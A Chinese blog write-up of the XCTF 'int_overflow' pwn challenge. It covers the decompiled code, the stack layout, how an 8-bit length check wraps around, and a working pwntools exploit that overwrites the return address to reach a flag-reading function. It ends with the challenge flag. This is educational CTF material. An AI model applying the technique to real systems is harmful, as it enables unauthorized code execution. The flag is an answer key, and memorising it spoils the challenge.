【攻防世界】Pwn系列之int_overflow

【攻防世界】Pwn系列之int_overflow

该程序允许结果如下图所示

使用ida反汇编获取其源代码,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-Ch] BYREF

setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
login();
}
else
{
if ( v4 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}

上面就是一个if-else判断语句,输入1进入login()、输入2退出程序。我们继续跟踪login()观察代码逻辑,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int login()
{
char buf[512]; // [esp+0h] [ebp-228h] BYREF
char s[40]; // [esp+200h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
memset(buf, 0, sizeof(buf));
puts("Please input your username:");
read(0, s, 0x19u);
printf("Hello %s\n", s);
puts("Please input your passwd:");
read(0, buf, 0x199u);
return check_passwd(buf);
}

进入登陆页面后,从缓存区读入0x19u个字节的账号和0x199u个字节的密码,随后调用check_passwd()对输入的密码进行检查,我们继续跟进check_passwd(),代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(dest, s);
}
return result;
}

如果输入的密码长度小于等于3且大于8则输出”invalid Password”,否则输出”Success”并将密码复制给dest。我们先来看strcpy这个函数栈中保存的数据,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
-00000014 dest            db 11 dup(?)
-00000009 var_9 db ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 s dd ? ; offset

解题思路肯定是使用rest覆盖r处,使返回地址覆盖为可以执行系统命令的函数地址即可。这里有个what_is_this()读取flag

1
2
3
4
int what_is_this()
{
return system("cat flag");
}

由于该程序没有开启PIE,所以其静态地址是固定的,为0x804868B

但是前面对密码长度进行了限制,我们分析下具体细节,如下

1
2
3
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )

v3是8位无符号整数型变量,而s在main()函数中为0x199u个字节,远大于v3的255位。所以这里存在整数型溢出,无论s为多大字节,最后v3都只保存后8位,这里就可以绕过if句判断,将字符串长度补充至(258,263]位。

最终整体的栈结构构造如下:

编写代码如下

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

io = remote("61.147.171.105", 64899)
cat_flag_addr = 0x0804868B
io.recvuntil("choice:")
io.sendline("1")
io.recvuntil("username:")
io.sendline("name")
io.recvuntil("passwd:")
payload = b'A'*(0x14 + 0x4) + p32(cat_flag_addr) + b'A'*(256-0x14-4-4+3)
io.sendline(payload)
io.interactive()

得到flag

1
cyberpeace{dee51b69c2224dbf4814ac4f6f941d20}
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信